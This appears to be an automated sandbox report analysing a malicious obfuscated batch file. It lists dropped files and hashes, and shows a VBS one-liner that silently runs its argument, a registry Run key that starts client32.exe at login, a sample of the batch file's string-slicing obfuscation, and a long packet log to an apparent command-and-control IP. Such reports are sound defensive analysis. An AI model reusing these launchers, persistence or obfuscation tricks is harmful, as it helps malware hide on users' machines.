Preview:	7z..'...WR.7.&.....%........x.......]....#.../.}q$...@..&....~...@}I^...~Cb`.)\|.,p....!]QC...q..H...:...jk"..2.Q..2@..x.....2wH)..E.l...'..:o.iRp..y..!..%Z....[.....>.....p. .h.G.~.\|..Y..%..$..>...>...q.sv..[..V.{.\....K....$...v...7.../@.aS..[a.o$.o.....%.#..}..v...:.k..........%. . Q...D.}...R.....(?./.....s..........c..E...`...v%O#p.....`..W.......L....m.D*.wT..4.k>.....@..X..sCv).Y.....k.pG...BE..o..?j......I..aZ..)N..\#...>.....8c.W._...5........o...a.v.;.._..=.6.V.o...3....>n.N..(..pi.9..t...<....&U.J.)YN..g..e:.\...sZ......(Z.izAgd[..J...2..5.lB1.P(..w...3.O....M/.....}~5....].=..... 8......dY.u.a..&M...)...U.P......#(...{=`..#....FR..@;.m^F.>r..j..MND..4.x\|.c[....,...a...].i....E.{....x...t...;........L...V..r..p&'...V.f...6.77............Qx.lb5)9..0.GN..0^G......V8G.P.C..<....[.O......H._.G..\Xj.[u....N..N......k>...L.X.m.....p.LA.... /..{......w.+..^._N......{.....F.#...0....<P.....3a..:.'Y...y.K.....x...h....F.7.......:.G........

C:\Users\user\AppData\Local\Temp\b1.vbs

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	false
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b2.vbs

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	false
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b3.vbs

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	false
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

\Device\ConDrv

Download File

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	4.7633325049182
Encrypted:	false
SSDEEP:	3:AMV/sADVqlVOTKD1yuXeoG/aoGM9:AM5glVLD1yuuRaM9
MD5:	31F85B79CC64A821930E49BFCB6D61A2
SHA1:	1A3135F68C0093E6F6C5958C4CA69D1718BCD5E1
SHA-256:	E129F96C2740CB4F9B37D18C58A570B7922D227CAD8250019C9702E5B5B9DFC7
SHA-512:	7DABE248CD6302D489C429BB978C75804B24BBC810C9834F8B4798DFD82FAD65A1C7F065421B09E874D11CFA38C9DC3281C1B95918200C6D81E23C933931D4EB
Malicious:	false
Preview:	..7-Zip (A) 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18......Error:..cannot find archive..

\Device\Null

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	121
Entropy (8bit):	5.118007172148352
Encrypted:	false
SSDEEP:	3:+v8Nwqp2YqrZfyM1K7eDfFFFFrDFxd+RICkREvLAd0:rNgZH1jzVn+iW40
MD5:	5DA62474DD6095C6DCF8539E2186B8A1
SHA1:	7C22F62C89D2AF2899FD960CA9D6C33C7FAAACD5
SHA-256:	370F8E6A940B77847B326D67F16B3E094830F94D164FF73F4A5C1EB9C18A5D5A
SHA-512:	661A7CD60C6CD48E686F327582C95876EA9A5276DAFBC00A9033354A74736ED6BB98A656666C71DBE649E541524FD31459303BEB0634F85BE4E4D48DA2BD34DE
Malicious:	false
Preview:	..HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.. KAVAS REG_SZ C:\ProgramData\client32.exe....

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (4753), with no line terminators
Entropy (8bit):	4.1514593193808675
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat
File size:	9'509 bytes
MD5:	4b2794840b114be5011da81ad4c462d8
SHA1:	66cf9461efa6fb1e55af037515121d2a856670ac
SHA256:	60dbaed2358a02ed2102cc2158c05fce9bba87674d68f1114198423bd8460a93
SHA512:	28d60ca188d99af1e6338d97cbcde497f5325c1a7da132b7d8f9c29a630d93570b488db40bc3ded89fa96c04153298b6a15128f641fcb1134cfa8d933d9e8b2c
SSDEEP:	192:JhSy/Ogy0+OPN3b9h5gIZpiuhHA9waK+FJYY9gUeYzUEo1UfUu:JhSy/Ogy0+OPN3b1gBuRAzKEJD6G
TLSH:	A51209B08AB38B0F74CC801ED1629C175DA7F0BF5AE564BAE15B3CAC079570EB1C55A8
File Content Preview:	..&@cls&@set ".z...=uWz0 QZ4cxl8IJpbt6PVkn2MFfBqKwLECYs@NohAgGU9X7rOmTd1yDi3vaS5RHje"..%.z...:~35,1%%.z...:~63,1%%.z...:~8,1%%.z...:~38,1%%.z...:~37,1%%.z...:~4,1%%.z...:~37,1%%.z...:~25,1%%.z...:~25,1%..::%.z...:~4,1%%.z...:~60,1%%.z...:~51,1%%.z...:~51,

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 18, 2023 17:27:09.526149988 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.526235104 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.526330948 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.541135073 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.541229010 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.675997019 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.676150084 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.696775913 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.696839094 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.697422981 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.702938080 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.748284101 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.844929934 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.844994068 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.845041037 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.845151901 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.845151901 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.845210075 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.845233917 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.845308065 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.845355988 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.903698921 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.903763056 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.903929949 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.903945923 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.903978109 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.904009104 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.904017925 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.904017925 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.904058933 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.904067993 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.904086113 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.904118061 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.938903093 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.938986063 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.939156055 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.939224005 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.939282894 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.939282894 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.963156939 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.963219881 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.963469982 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.963517904 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.963598967 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.963757038 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.963809967 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.963891029 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.963923931 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.963958025 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.963983059 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.964338064 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.964386940 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.964457989 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.964488029 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.964519978 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.964544058 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.965075016 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.965127945 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.965199947 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.965199947 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.965234041 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.965291023 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.965496063 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.965544939 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.965584040 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.965611935 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.965647936 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.965686083 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.997188091 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.997252941 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.997447968 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.997477055 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.997525930 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.997539997 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.997983932 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.998037100 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.998102903 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.998116970 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:09.998131037 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:09.998171091 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.025156975 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.025214911 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.025363922 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.025365114 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.025401115 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.025477886 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.025873899 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.025918007 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.025984049 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.025995016 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.026011944 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.026056051 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.026642084 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.026669979 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.026725054 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.026736021 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.026781082 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.026810884 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.027322054 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.027350903 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.027410030 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.027420998 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.027439117 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.027466059 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.027966022 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.027992964 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.028047085 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.028059959 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.028076887 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.028106928 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.028698921 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.028723001 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.028779030 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.028790951 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.028805971 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.028835058 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.029391050 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.029418945 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.029469967 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.029479980 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.029495955 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.029525042 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.030046940 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.030070066 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.030119896 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.030132055 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.030148029 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.030175924 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.118139029 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.118184090 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.118248940 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.118315935 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.118421078 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.118453979 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.118506908 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.147819996 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.147851944 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.147929907 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.147958994 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148031950 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148037910 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148068905 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148092031 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148119926 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148124933 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148159027 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148159981 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148170948 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148200989 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148233891 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148245096 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148281097 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148307085 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148317099 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148332119 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148358107 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148381948 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148432016 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148441076 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148454905 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148473978 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148478031 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148514986 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148525000 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148550987 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148551941 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148578882 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148611069 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148621082 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148638964 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148649931 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148673058 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148711920 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148721933 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148736000 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148737907 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148765087 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148796082 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148806095 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148828983 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148876905 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148896933 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148900986 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148914099 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.148941994 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148969889 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.148998022 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149015903 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149060965 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149070024 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149082899 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149090052 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149115086 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149141073 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149149895 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149173975 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149179935 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149200916 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149236917 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149246931 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149259090 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149271011 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149334908 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149343967 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149391890 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149465084 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149475098 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149633884 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149667978 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149704933 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149714947 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.149744987 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.149806976 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150074959 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150099039 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150166988 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150176048 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150187969 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150197983 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150222063 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150252104 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150262117 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150289059 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150398016 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150425911 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150468111 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150477886 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150490046 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150557995 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150589943 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150619984 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150629044 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150666952 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150719881 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150753021 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150804043 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150821924 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150834084 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150861979 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150919914 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150944948 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.150981903 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.150990963 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.151015043 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.151022911 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.151036978 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.151063919 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.151073933 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.151106119 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.151108980 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.151138067 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.151166916 CEST	49700	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:10.151175976 CEST	443	49700	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:10.151190996 CEST	49700	443	192.168.2.7	188.127.225.160
